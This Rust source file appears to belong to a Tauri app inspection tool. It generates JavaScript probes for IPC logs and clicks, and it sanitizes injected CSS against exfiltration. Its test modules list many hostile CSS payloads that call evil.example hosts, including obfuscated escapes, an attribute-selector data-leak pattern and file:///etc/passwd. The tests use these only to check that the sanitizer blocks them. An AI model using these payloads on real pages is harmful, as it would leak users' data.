use rmcp::model::{CallToolResult, ContentBlock};
pub fn js_string(s: &str) -> String {
let mut out = String::with_capacity(s.len() + 2);
out.push('"');
for ch in s.chars() {
match ch {
'"' => out.push_str("\\\""),
'\\' => out.push_str("\\\\"),
'\n' => out.push_str("\\n"),
'\r' => out.push_str("\\r"),
'\t' => out.push_str("\\t"),
'\0' => out.push_str("\\u0000"),
c if c.is_ascii_graphic() || c == ' ' => out.push(c),
c => {
for unit in c.encode_utf16(&mut [0; 2]) {
use std::fmt::Write;
let _ = write!(out, "\\u{unit:04x}");
}
}
}
}
out.push('"');
out
}
#[must_use]
pub fn json_truthy(value: &serde_json::Value) -> bool {
match value {
serde_json::Value::Null => false,
serde_json::Value::Bool(b) => *b,
serde_json::Value::Number(n) => n.as_f64().is_some_and(|f| f != 0.0 && !f.is_nan()),
serde_json::Value::String(s) => !s.is_empty(),
serde_json::Value::Array(a) => !a.is_empty(),
serde_json::Value::Object(o) => !o.is_empty(),
}
}
#[must_use]
pub fn ghost_ipc_projection_js(since_ms: Option<i64>) -> String {
let filter = match since_ms {
Some(ms) if ms > 0 => format!(
".filter(function(c){{ return c && c.timestamp && c.timestamp >= (Date.now() - {ms}); }})"
),
_ => String::new(),
};
format!(
"return (window.__VICTAURI__?.getIpcLog(0, {{ bodies: false }}) || []){filter}\
.map(function(c){{ return (c && c.command) || null; }})\
.filter(function(x){{ return x; }})"
)
}
#[must_use]
pub fn ghost_ipc_outcomes_js(since_ms: Option<i64>) -> String {
let filter = match since_ms {
Some(ms) if ms > 0 => format!(
".filter(function(c){{ return c && c.timestamp && c.timestamp >= (Date.now() - {ms}); }})"
),
_ => String::new(),
};
format!(
"return (function() {{\
\n var log = (window.__VICTAURI__?.getIpcLog(0, {{ bodies: false }}) || []){filter};\
\n var byCmd = {{}};\
\n for (var i = 0; i < log.length; i++) {{\
\n var c = log[i]; if (!c || !c.command) continue;\
\n var e = byCmd[c.command] || {{ command: c.command, ok: false, err: null }};\
\n if (c.status === 'ok') {{ e.ok = true; }}\
\n else if (c.status === 'error') {{\
\n var body = ((c.result != null ? String(c.result) : '') + ' ' + (c.error != null ? String(c.error) : ''));\
\n var sample = body.slice(0, 160).toLowerCase();\
\n /* keep the most diagnostic sample: a 'not found' error always wins over a generic one */\
\n if (!e.err || sample.indexOf('not found') !== -1) {{ e.err = sample; }}\
\n }}\
\n byCmd[c.command] = e;\
\n }}\
\n return Object.keys(byCmd).map(function(k) {{ return byCmd[k]; }});\
\n}})();"
)
}
#[derive(Debug, serde::Deserialize)]
pub struct IpcOutcome {
pub command: String,
#[serde(default)]
pub ok: bool,
#[serde(default)]
pub err: Option<String>,
}
fn is_framework_builtin(name: &str) -> bool {
name.starts_with("plugin:")
}
fn error_means_not_found(err: &str, command: &str) -> bool {
err.contains("unknown command")
|| err.contains("not registered")
|| (err.contains("not found")
&& (err.contains("command") || err.contains(&command.to_lowercase())))
}
#[must_use]
pub fn build_ghost_report(
outcomes: &[IpcOutcome],
registry: &victauri_core::CommandRegistry,
) -> serde_json::Value {
use std::collections::HashSet;
let invoked: Vec<String> = outcomes.iter().map(|o| o.command.clone()).collect();
let handled: HashSet<&str> = outcomes
.iter()
.filter(|o| o.ok)
.map(|o| o.command.as_str())
.collect();
let report = victauri_core::detect_ghost_commands(&invoked, registry);
let mut confirmed: Vec<(&str, &str)> = Vec::new();
for o in outcomes {
if !o.ok
&& !is_framework_builtin(&o.command)
&& let Some(err) = o.err.as_deref()
&& error_means_not_found(err, &o.command)
{
confirmed.push((o.command.as_str(), err));
}
}
let confirmed_names: HashSet<&str> = confirmed.iter().map(|(n, _)| *n).collect();
let frontend_only: Vec<_> = report
.frontend_only
.iter()
.filter(|g| {
!handled.contains(g.name.as_str())
&& !is_framework_builtin(&g.name)
&& !confirmed_names.contains(g.name.as_str())
})
.cloned()
.collect();
let excluded_builtins: Vec<&str> = report
.frontend_only
.iter()
.map(|g| g.name.as_str())
.filter(|n| is_framework_builtin(n))
.collect();
let registry_total = report.total_registry_commands;
let reliability = if registry_total > 0 { "high" } else { "low" };
let note = format!(
"Outcome-based ghost detection. `confirmed_ghosts` ({confirmed}) were invoked, never \
returned success, and errored 'not found' — real missing-handler bugs, high confidence, \
independent of the registry. `verified_handlers` ({verified}) returned success so they \
provably HAVE a handler and are never flagged (this is why a real command such as \
set_language is no longer a false positive). `frontend_only` ({fe}) is the weaker \
candidate tier: invoked, never observed succeeding, not a framework builtin, and absent \
from the introspection registry ({registry_total} known) — confirm against the app's \
generate_handler! before filing. `excluded_builtins` are Tauri/plugin framework \
commands, never app ghosts. The `reliability` field describes only `frontend_only`; \
`confirmed_ghosts` is high-confidence regardless.",
confirmed = confirmed.len(),
verified = handled.len(),
fe = frontend_only.len(),
);
serde_json::json!({
"confirmed_ghosts": confirmed
.iter()
.map(|(name, error)| serde_json::json!({ "name": name, "error": error }))
.collect::<Vec<_>>(),
"verified_handlers": handled.len(),
"frontend_only": frontend_only,
"excluded_builtins": excluded_builtins,
"registry_only": report.registry_only,
"total_frontend_commands": report.total_frontend_commands,
"total_registry_commands": registry_total,
"reliability": reliability,
"note": note,
})
}
#[must_use]
pub fn ipc_timing_projection_js(since_ms: Option<i64>) -> String {
let filter = match since_ms {
Some(ms) if ms > 0 => format!(
".filter(function(c){{ return c && c.timestamp && c.timestamp >= (Date.now() - {ms}); }})"
),
_ => String::new(),
};
format!(
"return (window.__VICTAURI__?.getIpcLog(0, {{ bodies: false }}) || []){filter}\
.map(function(c){{ return (c && c.command) ? {{ command: c.command, \
duration_ms: (typeof c.duration_ms === 'number' ? c.duration_ms : null) }} : null; }})\
.filter(function(x){{ return x; }})"
)
}
#[must_use]
pub fn ipc_timing_stats(entries: &[serde_json::Value]) -> Vec<serde_json::Value> {
use std::collections::BTreeMap;
let mut counts: BTreeMap<String, usize> = BTreeMap::new();
let mut durations: BTreeMap<String, Vec<f64>> = BTreeMap::new();
for e in entries {
let Some(cmd) = e.get("command").and_then(|c| c.as_str()) else {
continue;
};
*counts.entry(cmd.to_string()).or_default() += 1;
if let Some(d) = e.get("duration_ms").and_then(serde_json::Value::as_f64) {
durations.entry(cmd.to_string()).or_default().push(d);
}
}
let mut out: Vec<serde_json::Value> = counts
.into_iter()
.map(|(cmd, call_count)| {
let mut durs = durations.remove(&cmd).unwrap_or_default();
durs.sort_by(|a, b| a.partial_cmp(b).unwrap_or(std::cmp::Ordering::Equal));
let n = durs.len();
let (min, max, avg, p95) = if n == 0 {
(None, None, None, None)
} else {
let sum: f64 = durs.iter().sum();
let p95_idx = (((n as f64) * 0.95).ceil() as usize)
.saturating_sub(1)
.min(n - 1);
let round1 = |v: f64| (v * 10.0).round() / 10.0;
(
Some(round1(durs[0])),
Some(round1(durs[n - 1])),
Some(round1(sum / n as f64)),
Some(round1(durs[p95_idx])),
)
};
serde_json::json!({
"command": cmd,
"call_count": call_count,
"timed_samples": n,
"min_ms": min,
"max_ms": max,
"avg_ms": avg,
"p95_ms": p95,
})
})
.collect();
out.sort_by(|a, b| {
b.get("call_count")
.and_then(serde_json::Value::as_u64)
.cmp(&a.get("call_count").and_then(serde_json::Value::as_u64))
});
out
}
#[must_use]
pub fn ipc_catalog_projection_js() -> String {
"return (function(){\
var MAXD = 5, MAXK = 60;\
function shape(v, d){\
if (v === null) return 'null';\
if (v === undefined) return 'undefined';\
if (d >= MAXD) return '\u{2026}';\
if (Array.isArray(v)) return v.length ? { items: shape(v[0], d+1) } : 'array(empty)';\
if (typeof v === 'object'){\
var o = Object.create(null), n = 0;\
for (var k in v){\
if (!Object.prototype.hasOwnProperty.call(v,k)) continue;\
if (n++ >= MAXK){ o['\u{2026}'] = 'more'; break; }\
o[k] = shape(v[k], d+1);\
}\
return o;\
}\
return typeof v;\
}\
var V = window.__VICTAURI__;\
var log = V && V.getIpcLog ? (V.getIpcLog(0, { bodies: false }) || []) : [];\
var cat = Object.create(null), meta = Object.create(null);\
for (var i = 0; i < log.length; i++){\
var e = log[i]; if (!e || !e.command) continue;\
var c = cat[e.command];\
if (!c){\
c = cat[e.command] = { command: e.command, call_count: 0, error_count: 0, arg_shape: null, result_shape: null, last_status: null };\
meta[e.command] = { first: e.id, ok: null };\
}\
c.call_count++;\
var isErr = (e.status && e.status !== 'ok') || (e.error != null);\
if (isErr) c.error_count++;\
c.last_status = e.status || (isErr ? 'error' : 'ok');\
if (!isErr && meta[e.command].ok === null) meta[e.command].ok = e.id;\
}\
/* Bodies only for the <= 2 calls per command whose shapes are reported: the first \
call (args) and the first successful one (result; else the first call). */\
var ids = [];\
for (var m in meta){ ids.push(meta[m].first); if (meta[m].ok !== null) ids.push(meta[m].ok); }\
var full = ids.length ? (V.getIpcLog(0, { ids: ids }) || []) : [];\
var byId = Object.create(null);\
for (var j = 0; j < full.length; j++){ if (full[j]) byId[full[j].id] = full[j]; }\
for (var cmd in cat){\
var first = byId[meta[cmd].first], ok = meta[cmd].ok !== null ? byId[meta[cmd].ok] : null;\
if (first && first.args !== undefined) cat[cmd].arg_shape = shape(first.args, 0);\
var res = ok || first;\
if (res && res.result !== undefined) cat[cmd].result_shape = shape(res.result, 0);\
}\
return Object.keys(cat).map(function(k){ return cat[k]; });\
})()"
.to_string()
}
#[must_use]
pub fn merge_command_catalog(
ipc_entries: &[serde_json::Value],
registry: &[victauri_core::CommandInfo],
) -> Vec<serde_json::Value> {
use std::collections::BTreeMap;
let reg: BTreeMap<&str, &victauri_core::CommandInfo> =
registry.iter().map(|c| (c.name.as_str(), c)).collect();
let mut out: Vec<serde_json::Value> = Vec::new();
let mut seen: std::collections::BTreeSet<String> = std::collections::BTreeSet::new();
for e in ipc_entries {
let Some(name) = e.get("command").and_then(|c| c.as_str()) else {
continue;
};
seen.insert(name.to_string());
let mut entry = serde_json::json!({
"command": name,
"observed": true,
"call_count": e.get("call_count").and_then(serde_json::Value::as_u64).unwrap_or(0),
"error_count": e.get("error_count").and_then(serde_json::Value::as_u64).unwrap_or(0),
"last_status": e.get("last_status").cloned().unwrap_or(serde_json::Value::Null),
"arg_shape": e.get("arg_shape").cloned().unwrap_or(serde_json::Value::Null),
"result_shape": e.get("result_shape").cloned().unwrap_or(serde_json::Value::Null),
});
attach_registry_metadata(&mut entry, reg.get(name).copied());
out.push(entry);
}
for info in registry {
if seen.contains(&info.name) {
continue;
}
let mut entry = serde_json::json!({
"command": info.name,
"observed": false,
"call_count": 0,
});
attach_registry_metadata(&mut entry, Some(info));
out.push(entry);
}
out.sort_by(|a, b| {
let ca = a
.get("call_count")
.and_then(serde_json::Value::as_u64)
.unwrap_or(0);
let cb = b
.get("call_count")
.and_then(serde_json::Value::as_u64)
.unwrap_or(0);
cb.cmp(&ca).then_with(|| {
a.get("command")
.and_then(serde_json::Value::as_str)
.cmp(&b.get("command").and_then(serde_json::Value::as_str))
})
});
out
}
fn attach_registry_metadata(
entry: &mut serde_json::Value,
info: Option<&victauri_core::CommandInfo>,
) {
let (Some(obj), Some(info)) = (entry.as_object_mut(), info) else {
return;
};
if let Some(d) = &info.description {
obj.insert("description".into(), serde_json::json!(d));
}
if let Some(i) = &info.intent {
obj.insert("intent".into(), serde_json::json!(i));
}
if !info.args.is_empty() {
obj.insert("declared_args".into(), serde_json::json!(info.args));
}
if let Some(rt) = &info.return_type {
obj.insert("declared_return".into(), serde_json::json!(rt));
}
}
#[must_use]
pub fn truncate_at_char_boundary(s: &str, max_bytes: usize) -> &str {
if s.len() <= max_bytes {
return s;
}
let mut end = max_bytes;
while !s.is_char_boundary(end) {
end -= 1;
}
&s[..end]
}
#[must_use]
pub fn trusted_focus_probe_js(ref_id: &str) -> String {
format!(
"var __e=window.__VICTAURI__&&window.__VICTAURI__.getRef({}); \
if(!__e) return {{found:false,focused:false}}; \
__e.focus(); \
var __a=document.activeElement; \
for(var __i=0;__a&&__i<64;__i++){{ \
if(__a===__e) return {{found:true,focused:true}}; \
var __n=null; \
if(__a.shadowRoot&&__a.shadowRoot.activeElement){{__n=__a.shadowRoot.activeElement;}} \
else if(__a.tagName==='IFRAME'||__a.tagName==='FRAME'){{ \
try{{var __d=__a.contentDocument; __n=__d&&__d.activeElement;}}catch(__x){{__n=null;}} }} \
if(!__n||__n===__a) break; \
__a=__n; \
}} \
return {{found:true,focused:false}}",
js_string(ref_id)
)
}
#[must_use]
pub fn trusted_click_probe_js(ref_id: &str) -> String {
format!(
"var __e=window.__VICTAURI__&&window.__VICTAURI__.getRef({}); \
if(!__e) return null; \
function __no(m){{return {{error:m}};}} \
function __in(w,x,y){{return x>=0&&y>=0&&x<w.innerWidth&&y<w.innerHeight;}} \
function __hit(d,x,y){{var h=d.elementFromPoint(x,y),g=0; \
while(h&&h.shadowRoot&&g++<32){{var i=h.shadowRoot.elementFromPoint(x,y); \
if(!i||i===h)break; h=i;}} return h;}} \
function __within(a,b){{for(var n=b;n;n=n.assignedSlot||n.parentNode||n.host){{if(n===a)return true;}} \
return false;}} \
if(!__e.isConnected) return __no('element is detached from the DOM'); \
__e.scrollIntoView({{block:'center',inline:'center',behavior:'instant'}}); \
var __d=__e.ownerDocument||document, __w=__d.defaultView||window; \
if(__e.disabled||(__e.getAttribute&&__e.getAttribute('aria-disabled')==='true')) \
return __no('element is disabled'); \
var __s=__w.getComputedStyle(__e); \
if(__s.display==='none'||__s.visibility==='hidden'||parseFloat(__s.opacity)<0.01) \
return __no('element is not visible'); \
if(__s.pointerEvents==='none') return __no('element has pointer-events: none'); \
var __b=__e.getBoundingClientRect(); \
if(!(__b.width>0&&__b.height>0)) return __no('element has zero size'); \
var __x=__b.left+__b.width/2, __y=__b.top+__b.height/2; \
if(!__in(__w,__x,__y)) return __no('element center is outside the viewport'); \
var __t=__hit(__d,__x,__y); \
if(!__t||!__within(__e,__t)) \
return __no('element is covered at its center point'+(__t&&__t.tagName?' by <'+__t.tagName.toLowerCase()+'>':'')); \
for(var __f=__w,__i=0;__f!==__f.top&&__i<32;__i++){{ \
var __fe=null; try{{__fe=__f.frameElement;}}catch(__x2){{__fe=null;}} \
if(!__fe) return __no('element is inside a cross-origin frame'); \
var __p=__f.parent, __r=__fe.getBoundingClientRect(), __c=__p.getComputedStyle(__fe); \
__x+=__r.left+(__fe.clientLeft||0)+(parseFloat(__c.paddingLeft)||0); \
__y+=__r.top+(__fe.clientTop||0)+(parseFloat(__c.paddingTop)||0); \
if(!__in(__p,__x,__y)) return __no('element center is outside the viewport (clipped by its frame)'); \
if(__hit(__p.document,__x,__y)!==__fe) \
return __no('the frame holding the element is covered at the click point'); \
__f=__p; \
}} \
return {{x:__x, y:__y}}",
js_string(ref_id)
)
}
pub fn json_result(value: &impl serde::Serialize) -> CallToolResult {
match serde_json::to_string_pretty(value) {
Ok(json) => CallToolResult::success(vec![ContentBlock::text(json)]),
Err(e) => tool_error(e.to_string()),
}
}
pub fn tool_error(msg: impl Into<String>) -> CallToolResult {
let mut result = CallToolResult::success(vec![ContentBlock::text(msg)]);
result.is_error = Some(true);
result
}
pub fn tool_disabled(name: &str) -> CallToolResult {
tool_error_with_hint(
format!("tool '{name}' is disabled by privacy configuration"),
RecoveryHint::ReportToUser,
)
}
#[derive(Debug, Clone, Copy)]
pub enum RecoveryHint {
CheckInput,
ReportToUser,
}
impl RecoveryHint {
pub fn as_str(self) -> &'static str {
match self {
Self::CheckInput => "CHECK_INPUT",
Self::ReportToUser => "REPORT_TO_USER",
}
}
}
pub fn tool_error_with_hint(msg: impl Into<String>, hint: RecoveryHint) -> CallToolResult {
let message = msg.into();
let text = format!(
"{message}
[hint: {}]",
hint.as_str()
);
let mut result = CallToolResult::success(vec![ContentBlock::text(text)]);
result.is_error = Some(true);
result
}
pub fn missing_param(param: &str, action: &str) -> CallToolResult {
tool_error_with_hint(
format!("missing required parameter '{param}' for action '{action}'"),
RecoveryHint::CheckInput,
)
}
pub fn validate_url(url: &str, allow_file: bool) -> Result<(), String> {
let trimmed: String = url.chars().filter(|c| !c.is_control()).collect();
match url::Url::parse(&trimmed) {
Ok(parsed) => match parsed.scheme() {
"http" | "https" => Ok(()),
"file" if allow_file => Ok(()),
"file" => Err("scheme 'file' is not allowed by default; enable with \
VictauriBuilder::allow_file_navigation()"
.to_string()),
scheme => Err(format!(
"scheme '{scheme}' is not allowed; use http or https"
)),
},
Err(e) => Err(format!("invalid URL: {e}")),
}
}
pub fn sanitize_css_color(color: &str) -> Result<String, String> {
let s = color.trim();
if s.len() > 100 {
return Err("CSS color value too long".to_string());
}
if s.contains('\\') {
return Err("CSS escape sequences not allowed in color values".to_string());
}
let valid = s
.chars()
.all(|c| c.is_alphanumeric() || matches!(c, '#' | '(' | ')' | ',' | '.' | ' ' | '%' | '-'));
if !valid {
return Err("invalid characters in CSS color value".to_string());
}
let lower = s.to_lowercase();
if lower.contains("url(") || lower.contains("expression(") {
return Err("invalid CSS color value".to_string());
}
Ok(s.to_string())
}
const CSS_URL_FUNCTIONS: &[&str] = &[
"url",
"src",
"image-set",
"-webkit-image-set",
"image",
"-webkit-image",
"cross-fade",
"-webkit-cross-fade",
];
const SPECIAL_URL_SCHEMES: &[&str] = &["http", "https", "ws", "wss", "ftp", "file"];
fn css_preprocess(css: &str) -> Vec<char> {
let mut out = Vec::with_capacity(css.len());
let mut chars = css.chars().peekable();
while let Some(c) = chars.next() {
match c {
'\r' => {
if chars.peek() == Some(&'\n') {
chars.next();
}
out.push('\n');
}
'\u{0C}' => out.push('\n'),
'\0' => out.push('\u{FFFD}'),
_ => out.push(c),
}
}
out
}
fn css_is_ws(c: char) -> bool {
matches!(c, ' ' | '\t' | '\n')
}
fn css_is_ident_start(c: char) -> bool {
c.is_ascii_alphabetic() || c == '_' || !c.is_ascii()
}
fn css_is_ident_char(c: char) -> bool {
css_is_ident_start(c) || c.is_ascii_digit() || c == '-'
}
struct CssUrlScanner {
chars: Vec<char>,
pos: usize,
}
impl CssUrlScanner {
fn at(&self, offset: usize) -> Option<char> {
self.chars.get(self.pos + offset).copied()
}
fn valid_escape_at(&self, offset: usize) -> bool {
self.at(offset) == Some('\\') && self.at(offset + 1).is_some_and(|c| c != '\n')
}
fn starts_ident_at(&self, offset: usize) -> bool {
match self.at(offset) {
Some('-') => {
self.at(offset + 1)
.is_some_and(|c| css_is_ident_start(c) || c == '-')
|| self.valid_escape_at(offset + 1)
}
Some('\\') => self.valid_escape_at(offset),
Some(c) => css_is_ident_start(c),
None => false,
}
}
fn consume_escape(&mut self) -> char {
let Some(c) = self.at(0) else {
return '\u{FFFD}';
};
if !c.is_ascii_hexdigit() {
self.pos += 1;
return c;
}
let mut value: u32 = 0;
let mut digits = 0;
while digits < 6 {
match self.at(0).and_then(|d| d.to_digit(16)) {
Some(d) => {
value = value * 16 + d;
digits += 1;
self.pos += 1;
}
None => break,
}
}
if self.at(0).is_some_and(css_is_ws) {
self.pos += 1;
}
match char::from_u32(value) {
Some(ch) if value != 0 => ch,
_ => '\u{FFFD}',
}
}
fn consume_ident(&mut self) -> String {
let mut out = String::new();
loop {
match self.at(0) {
Some(c) if css_is_ident_char(c) => {
out.push(c);
self.pos += 1;
}
Some('\\') if self.valid_escape_at(0) => {
self.pos += 1;
out.push(self.consume_escape());
}
_ => return out,
}
}
}
fn consume_string(&mut self, quote: char) -> String {
let mut out = String::new();
loop {
match self.at(0) {
None => return out,
Some(c) if c == quote => {
self.pos += 1;
return out;
}
Some('\n') => return out,
Some('\\') => {
self.pos += 1;
match self.at(0) {
None => {}
Some('\n') => self.pos += 1, Some(_) => out.push(self.consume_escape()),
}
}
Some(c) => {
out.push(c);
self.pos += 1;
}
}
}
}
fn consume_url(&mut self) -> String {
let mut out = String::new();
loop {
match self.at(0) {
None => return out,
Some(')') => {
self.pos += 1;
return out;
}
Some('\\') if self.valid_escape_at(0) => {
self.pos += 1;
out.push(self.consume_escape());
}
Some(c) => {
out.push(c);
self.pos += 1;
}
}
}
}
}
fn css_url_normalize(raw: &str) -> String {
let no_tab_nl: String = raw
.chars()
.filter(|c| !matches!(c, '\t' | '\n' | '\r'))
.collect();
no_tab_nl.trim_matches(|c: char| c <= '\u{20}').to_string()
}
fn css_url_scheme(url: &str) -> Option<(String, &str)> {
let mut chars = url.char_indices();
let (_, first) = chars.next()?;
if !first.is_ascii_alphabetic() {
return None;
}
for (i, c) in chars {
if c == ':' {
return Some((url[..i].to_ascii_lowercase(), &url[i + 1..]));
}
if !(c.is_ascii_alphanumeric() || matches!(c, '+' | '-' | '.')) {
return None;
}
}
None
}
fn css_starts_with_authority(s: &str) -> bool {
let mut it = s.chars();
matches!((it.next(), it.next()), (Some('/' | '\\'), Some('/' | '\\')))
}
fn css_check_url(raw: &str, strict: bool) -> Result<(), String> {
let url = css_url_normalize(raw);
let remote = if css_starts_with_authority(&url) {
true
} else if let Some((scheme, rest)) = css_url_scheme(&url) {
if strict {
scheme != "data"
} else {
SPECIAL_URL_SCHEMES.contains(&scheme.as_str()) || css_starts_with_authority(rest)
}
} else {
false
};
if remote {
return Err(format!(
"a non-local URL is blocked in injected CSS (`{}` could fetch a remote origin — a \
data-exfiltration vector). Only relative and data: URLs are allowed; pass \
`allow_remote: true` to opt in.",
url.chars().take(80).collect::<String>()
));
}
Ok(())
}
pub fn sanitize_injected_css(css: &str, allow_remote: bool) -> Result<(), String> {
const MAX_CSS_LEN: usize = 256 * 1024;
if css.len() > MAX_CSS_LEN {
return Err(format!(
"injected CSS too large ({} bytes, limit {MAX_CSS_LEN})",
css.len()
));
}
if allow_remote {
return Ok(());
}
let mut s = CssUrlScanner {
chars: css_preprocess(css),
pos: 0,
};
let mut open: Vec<String> = Vec::new();
let in_url_function =
|open: &[String]| open.iter().any(|f| CSS_URL_FUNCTIONS.contains(&f.as_str()));
while let Some(c) = s.at(0) {
match c {
'/' if s.at(1) == Some('*') => {
s.pos += 2;
while s.pos < s.chars.len() && !(s.at(0) == Some('*') && s.at(1) == Some('/')) {
s.pos += 1;
}
s.pos = (s.pos + 2).min(s.chars.len());
}
'"' | '\'' => {
s.pos += 1;
let value = s.consume_string(c);
css_check_url(&value, in_url_function(&open))?;
}
'@' if s.starts_ident_at(1) => {
s.pos += 1;
if s.consume_ident().eq_ignore_ascii_case("import") {
return Err(
"`@import` is blocked in injected CSS (it fetches a stylesheet — a \
data-exfiltration vector). Inline the rules, or pass `allow_remote: true`."
.to_string(),
);
}
}
'(' => {
s.pos += 1;
open.push(String::new());
}
')' => {
s.pos += 1;
open.pop();
}
_ if s.starts_ident_at(0) => {
let name = s.consume_ident().to_ascii_lowercase();
if s.at(0) == Some('(') {
s.pos += 1;
let mut ahead = 0;
while s.at(ahead).is_some_and(css_is_ws) {
ahead += 1;
}
if name == "url" && !matches!(s.at(ahead), Some('"' | '\'')) {
s.pos += ahead;
let value = s.consume_url();
css_check_url(&value, true)?;
} else {
open.push(name);
}
}
}
_ => s.pos += 1,
}
}
Ok(())
}
#[cfg(test)]
mod json_truthy_tests {
use super::json_truthy;
use serde_json::json;
#[test]
fn falsy_values() {
assert!(!json_truthy(&json!(null)));
assert!(!json_truthy(&json!(false)));
assert!(!json_truthy(&json!(0)));
assert!(!json_truthy(&json!(0.0)));
assert!(!json_truthy(&json!("")));
assert!(!json_truthy(&json!([])));
assert!(!json_truthy(&json!({})));
}
#[test]
fn truthy_values() {
assert!(json_truthy(&json!(true)));
assert!(json_truthy(&json!(1)));
assert!(json_truthy(&json!(-1)));
assert!(json_truthy(&json!("ready")));
assert!(json_truthy(&json!([1])));
assert!(json_truthy(&json!({ "k": "v" })));
}
}
#[cfg(test)]
mod truncate_tests {
use super::truncate_at_char_boundary;
#[test]
fn a_cut_inside_a_multibyte_character_backs_off_to_its_start() {
let s = format!("\"{}", "é".repeat(3000));
assert!(!s.is_char_boundary(4096));
let cut = truncate_at_char_boundary(&s, 4096);
assert_eq!(cut.len(), 4095);
assert!(cut.ends_with('é'));
let emoji = "🦀".repeat(10);
for max in 0..=emoji.len() + 2 {
let cut = truncate_at_char_boundary(&emoji, max);
assert!(
cut.len() <= max && cut.len().is_multiple_of(4),
"{max}: {}",
cut.len()
);
}
}
#[test]
fn short_and_ascii_text_is_unchanged_or_cut_exactly() {
assert_eq!(truncate_at_char_boundary("abc", 10), "abc");
assert_eq!(truncate_at_char_boundary("abcdef", 3), "abc");
assert_eq!(truncate_at_char_boundary("", 0), "");
}
}
#[cfg(test)]
mod ghost_projection_tests {
use super::ghost_ipc_projection_js;
#[test]
fn projects_whole_log_when_since_absent() {
let js = ghost_ipc_projection_js(None);
assert!(
js.contains("getIpcLog(0, { bodies: false })"),
"body-free view: {js}"
);
assert!(js.contains(".map("));
assert!(!js.contains("Date.now()"));
assert!(!js.contains("c.timestamp"));
}
#[test]
fn applies_window_when_since_positive() {
let js = ghost_ipc_projection_js(Some(5000));
assert!(js.contains("c.timestamp"));
assert!(js.contains("Date.now() - 5000"));
let win = js.find("Date.now()").unwrap();
let map = js.find(".map(").unwrap();
assert!(win < map, "time filter must run before the name map");
}
#[test]
fn ignores_nonpositive_since() {
assert!(!ghost_ipc_projection_js(Some(0)).contains("Date.now()"));
assert!(!ghost_ipc_projection_js(Some(-10)).contains("Date.now()"));
}
}
#[cfg(test)]
mod injected_css_tests {
use super::sanitize_injected_css;
#[test]
fn blocks_at_import() {
assert!(sanitize_injected_css("@import url(https://evil.com/x.css);", false).is_err());
assert!(sanitize_injected_css("/* x */@import 'https://evil.com';", false).is_err());
assert!(sanitize_injected_css("@imp/* */ort url(//evil.com)", false).is_err());
}
#[test]
fn blocks_remote_url() {
assert!(
sanitize_injected_css("body{background:url(https://evil.com/x?d=1)}", false).is_err()
);
assert!(sanitize_injected_css("body{background:url('//evil.com/x')}", false).is_err());
assert!(sanitize_injected_css("a{cursor:url(ftp://evil.com/c)}", false).is_err());
}
#[test]
fn allows_local_and_data() {
assert!(sanitize_injected_css("body{color:red}", false).is_ok());
assert!(sanitize_injected_css("body{background:url('/assets/x.png')}", false).is_ok());
assert!(sanitize_injected_css("body{background:url(#grad)}", false).is_ok());
assert!(
sanitize_injected_css("body{background:url(data:image/png;base64,AAAA)}", false)
.is_ok()
);
}
#[test]
fn allow_remote_opts_back_in() {
assert!(sanitize_injected_css("@import url(https://fonts.example/x.css);", true).is_ok());
assert!(
sanitize_injected_css("body{background:url(https://cdn.example/x.png)}", true).is_ok()
);
}
#[test]
fn blocks_css_escape_obfuscated_import() {
assert!(sanitize_injected_css("\\40 import url(https://evil.com/x.css);", false).is_err());
assert!(sanitize_injected_css("\\000040import 'https://evil.com';", false).is_err());
assert!(sanitize_injected_css("\\@import url(//evil.com)", false).is_err());
}
#[test]
fn blocks_css_escape_obfuscated_remote_url() {
assert!(
sanitize_injected_css("body{background:\\75 rl(https://evil.com/x)}", false).is_err()
);
assert!(
sanitize_injected_css("body{background:url(\\00002f\\00002fevil.com/x)}", false)
.is_err()
);
}
#[test]
fn escape_decoding_preserves_legitimate_css() {
assert!(sanitize_injected_css("a::before{content:'\\2022'}", false).is_ok());
assert!(sanitize_injected_css("body{color:red}", false).is_ok());
}
#[test]
fn r5b_css1_rejects_every_remote_form() {
let remote = [
r"body{background:url(https:evil.example/x)}",
r"body{background:url(HTTPS:evil.example/x)}",
r"body{background:url(http:/evil.example/x)}",
r#"body{background:url("https:evil.example/x")}"#,
r#"body{background:url("https:\5c\5c evil.example/x")}"#,
r"body{background:url(\5c\5c evil.example/x)}",
r"body{background:url(/\\evil.example/x)}",
r"body{background:url(\\/evil.example/x)}",
r"body{background:url(\\\\evil.example/x)}",
"body{background:url(\"ht\\9 tps://evil.example/x\")}",
"body{background:url(\"ht\\a tps://evil.example/x\")}",
"body{background:url(\" //evil.example/x\")}",
r"body{background:url(ws:evil.example)}",
r"body{background:url(file:///etc/passwd)}",
r"body{background:url(blob:https://evil.example/uuid)}",
r"body{background:url(javascript:alert(1))}",
r#"body{background-image:image-set("https://evil.example/x" 1x)}"#,
r#"input[value^=a]{background:-webkit-image-set("//evil.example/a" 1x)}"#,
r#"body{background-image:image-set("https:evil.example/x" 1x)}"#,
r#"body{background-image:image("https://evil.example/x")}"#,
r#"body{background-image:cross-fade("https://evil.example/x", url(a.png) 50%)}"#,
r#"body{background-image:-webkit-cross-fade("//evil.example/x", url(a.png), 50%)}"#,
r#"body{background-image:src("https://evil.example/x")}"#,
r#"body{background-image:image-set(type("image/png") "https://evil.example/x")}"#,
r#"body{background-image:IMAGE-SET("https://evil.example/x" 1x)}"#,
r#"body{background-image:\69 mage-set("https://evil.example/x" 1x)}"#,
r"body{background-image:U\52 L(https://evil.example/x)}",
r#":root{--u:"https://evil.example/x"} body{background:image-set(var(--u) 1x)}"#,
r#":root{--u:"//evil.example/x"}"#,
r#"@import "a.css";"#,
r"@IMPORT url(a.css);",
r#"@\69mport "a.css";"#,
r#"a{content:"/*"} body{background:url(https://evil.example/x)} b{content:"*/"}"#,
r"a{background:url(x/*)} body{background:url(https://evil.example/x)} /**/",
r"body{background:url(https://evil.example/x",
"body{background:url(\"x\") url(https://evil.example/\u{0})}",
];
for css in remote {
assert!(
sanitize_injected_css(css, false).is_err(),
"must be rejected: {css}"
);
assert!(sanitize_injected_css(css, true).is_ok(), "{css}");
}
}
#[test]
fn r5b_css1_keeps_legitimate_css_working() {
let local = [
"body{color:red}",
"a:hover{outline:2px solid #f00 !important}",
"@media (max-width: 600px){.x{display:none}}",
"@keyframes k{from{opacity:0}to{opacity:1}}",
"@supports (display:grid){.g{display:grid}}",
r"body{background:url(/assets/x.png)}",
r"body{background:url(./x.png)}",
r"body{background:url(../img/x.png)}",
r"body{background:url(x.png?a=b#c)}",
r#"body{background:url("img/x y.png")}"#,
r"body{background:url(#grad)}",
r"body{background:url()}",
r#"body{background:url("")}"#,
